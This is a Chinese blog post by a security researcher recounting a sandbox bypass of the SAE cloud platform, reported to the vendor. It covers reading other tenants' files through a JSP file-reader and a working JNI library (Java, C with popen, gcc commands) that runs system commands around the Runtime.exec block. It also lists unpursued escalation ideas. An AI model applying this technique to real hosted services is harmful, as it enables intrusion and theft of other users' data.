记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

SAE云服务安全沙箱绕过3(绕过命令执行防御)

2013-01-09 03:30

by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity
摘要
谢各位捧场,经过努力,作者已经打到了第三关,这一关叫做“命令执行关”。也不知道是因为作者描述不清楚,还是SAE的理解出现偏差,我们没有直接沟通过,只是作者写篇文章,先交给那边“审核”,“审核”通过后,才发布了,所有的交流,都仅限于文章本身。这种沟通的障碍,是此次绕过安全防御的起始。在作者的第二关:《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net/archives/411)一文中,提到利用crackClassLoader,绕过java安全沙箱的例子,文末作者以一个命令的成功执行结尾,并且使用cat命令,打出了其他云用户的首页。
正文
SAE看到了禁止命令执行的重要性。在本文的开始,先查看SAE的环境和限制。
上传一个命令执行的JSP页面,打开:

http://1.cracksae.sinaapp.com/cmd.jsp?cmd=id

返回:

这个错误信息,完全不同于原本JAVA沙盒的权限异常信息,并非是java标准沙盒导致的标准权限异常,所以绕过的思路,和标准沙盒肯定不一致。

从错误提示中,可以推测,SAE在runtime.exec函数的执行层面做了限制(包括processBuilder.start()也有限制)。注意,是针对这个函数做的限制,按照之前的思想,作者要做的,当然是绕过这个函数。SAE也是这么认为的,但是,SAE开发人员和作者理解的细节上有偏差。上篇文章,作者发给SAE,内容写到绕过了SAE的沙盒环境,注意是SAE的JAVA沙盒环境。文章原意是,绕过沙盒后,可以做很多事情,而执行cmd仅仅是其中一种罢了。SAE理解为,不让恶意用户执行cmd命令,就可以防止绕过了,昏倒。

作者认为,SAE是云,云安全需要保护的,是用户的数据,至于能不能执行命令,其实是次要的。站在云安全的立场,作者认为,执行系统命令神马的,是web时代的黑客干的,云时代,大家要做的,起码是把云上用户的数据弄出来。

比如,可以读取任意文件:

普通的文件操作,在没有bypass之前,出现了沙盒的错误信息。如果开发人员和作者推测的一致,仅仅针对exec做限制,那就可能没有原来的沙盒策略,仅仅禁止了exec执行命令的函数,这相当于修改了JRE环境。

BYPASS沙盒

这次为了使用方便,作者把文章《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net/archives/411)中setPolicy这段代码,单独拎出来写好放上去。在web应用环境中,权限设置是针对当前web应用下所有class的,所以只要成功设置了AllPermissions策略,后面文件操作什么的,就统统不再限制了。
第一步执行设置策略setPolicy代码,代码上一篇文章有,这里不再提了,在ExpPermissions2类中有的,这次只是写了个JSP直接调用提权。

提权后,传一个文件浏览器,就可以直接显示:

这说明SAE真的和作者推测的一致,仅仅限制了EXEC命令执行,这对于云来说,相当于不限制。

上图是读取/etc/passwd的内容,进一步列目录,可以到用户的目录中,读取用户的数据。从这里看到,我们已经可以管理其他云用户的文件了。

http://1.bypass3.sinaapp.com/bypass3forfile.jsp?action=fileread&filename=/data1/jetty_work/201/某用户/jetty-0.0.0.0-balabalaXXXXXOOOOOs.war-_1_webrss-any-/webapp/do.jsp

访问上面URL,可以读取云用户“某用户”的do.jsp页面源码:

其实bypass到这里,就已经破防了,但是为了技术研究,以及提醒SAE不要做这样掩耳盗铃的方案,作者又做了一件事情。Sae的开发人员认为,限制了Runtime.exec()函数后,就无法执行系统命令了,但是真是这样么?

命令执行

Java可以调用c语言的动态库,加载进来后,相当于直接使用c语言代码,SAE只限制了exec,bypass这个限制的思路就是调用c语言的动态库。

首先要一个java文件:

package net.inbreak;public class Loadlab {        static {                try {                        System.load("/root/javaso/libLoadlab.so");                } catch (UnsatisfiedLinkError e) {                        System.err.println("Cannot load command library:\n " + e.toString());                }        }        public Loadlab() {        }        public native String SayHello(String cmd);}

这个文件加载了/root/javaso/libLoadlab.so,这里需要改为SAE上,web目录的绝对地址,使用“<%=application.getRealPath("/")%>”,在jsp上拿到即可。

然后生成jni的头文件
执行

javah -jni net.inbreak.Loadlab

生成了“net_inbreak_Loadlab.h”

/* DO NOT EDIT THIS FILE - it is machine generated */#include <jni.h>/* Header for class net_inbreak_Loadlab */#ifndef _Included_net_inbreak_Loadlab#define _Included_net_inbreak_Loadlab#ifdef __cplusplusextern "C" {#endif/* * Class:     net_inbreak_Loadlab * Method:    SayHello * Signature: (Ljava/lang/String;)Ljava/lang/String; */JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello  (JNIEnv *, jobject, jstring);#ifdef __cplusplus}#endif#endif

根据这个文件,写c代码实现功能,目的是执行系统命令:

#include <stdio.h>#include <stdlib.h>#include<string.h>#include "net_inbreak_Loadlab.h"#define BUFSIZE 1000JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring) { const char *cmd = (*env)->GetStringUTFChars(env, instring, 0);/*    char buf[1024];    FILE *pp;    char *returnchar=(char*)malloc(10);if( (pp = popen(cmd, "r")) == NULL ){    printf("popen() error!\n");    exit(1);}while(fgets(buf, sizeof buf, pp)){    char *ch = (char *) buf;    strcat(returnchar,ch);}    char *bufc = (char*)malloc(10);    strcpy(bufc, returnchar);    instring = (*env)->NewStringUTF(env, bufc);    pclose(pp);       //convert*/FILE *fp;char buf;char bufreturn[65535];if((fp=popen(cmd,"r"))==NULL)   return instring;int j=0;while ((buf=fgetc(fp))!=EOF){   //memcpy(bufreturn,buf,strlen(buf));   bufreturn[j] = buf;   j++;}pclose(fp);char *chreturn = (char *)bufreturn;instring = (*env)->NewStringUTF(env, chreturn);    return instring; } int main(int argc, char *argv[]){return 0;}

这段c代码,作用是调用popen函数,执行系统命令,并返回一个jstring给JAVA。
最终的结果,和调用Runtime.exec是一致的。
生成命令:

gcc -I/usr/java/jdk1.6.0_33/include -I/usr/java/jdk1.6.0_33/include/linux -fPIC -c net_inbreak_Loadlab.c

然后

gcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o

生成了libLoadlab.so文件。
这个文件要放进SAE的web目录中,并且在Loadlab.java中加载起来。
写java代码调用测试一下:

public class Setp {        public static void main(String[] args)        {        String name="java.library.path";        System.out.println(System.getProperty(name));        net.inbreak.Loadlab l = new net.inbreak.Loadlab();        System.out.println("haha:"+l.SayHello("ifconfig"));        }}

本机调用测试成功。

但是在sae上竟然失败,这就不抓图了,原因后来查明(读了一下ifconfig等文件),是因为JAVA在linux层面上的账户,没有执行系统命令的权限,这个才是最狠的禁止命令执行方案,无论如何,都不让用户执行系统命令。作者写这段JNI相关的东西,一个原因是为了记录一下,做个笔记,以后可能用到,另一个原因,是担心SAE又搞出来非主流方案,导致绕过,建议至少要禁掉crackClassLoader。

后面要执行命令,有三个思路:
1、提权。
事实上到这里,本文已经证明了可以读取任意云上的文件,提权可能会引起系统未知错误,毕竟不是一台肉鸡,担心影响SAE的线上服务器,作者没有往下去做。
2、在特殊位置写文件。
Linux系统中,总有几个sh,是管理员偶尔会跑的,我们可以改改内容,达到最终目的,但是这样做,已经偏向渗透路线了,作者的目标是云端的沙盒,并非渗透,所以就此停止。
3、替换SAE的那个做安全验证的代码
这个到是可以做一做,不过这个是作者写文章的时候,才想起来的方案。目前已经修补,作者已经在打第四关了,面对无数的限制,在没有突破前,暂时没机会做了。作者不知道能不能BY PASS第四关的变态关卡,不过肯定要试一试。

总结
云安全主要是为了保护用户的数据,至于执行命令什么的,只是获取用户数据的一种手段,包括沙盒bypass,也只是一种手段,SAE这次被BYPASS,是因为没有理解自己真正要保护的内容,往宏观上讲,是没有抓住安全的脉搏,仅仅在技术角度,针对作者的文章,做了一次技术对抗。
作者这样的人,如果目的是为了破坏,就直接做坏事了,何必写文章发给SAE呢?建议还是在沙盒上想办法,学习google,禁止不该有的权限,达到最终目的。最后说明下,本文的题目叫做“SAE云服务安全沙箱绕过3(绕过命令执行防御) “,事实上本文从头到尾都没有绕过”命令执行防御“,但是既然SAE在这里犯了错,所以就叫这个题目了。
By 空虚浪子心 http://www.inbreak.net/ 微博http://t.qq.com/javasecurity

知识来源: www.inbreak.net/archives/426

阅读:113941 | 评论:0 | 标签:Java Security WEB SECURITY 原创文章 java sae sandbox security

想收藏或者和大家分享这篇好文章→复制链接地址

“SAE云服务安全沙箱绕过3(绕过命令执行防御)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云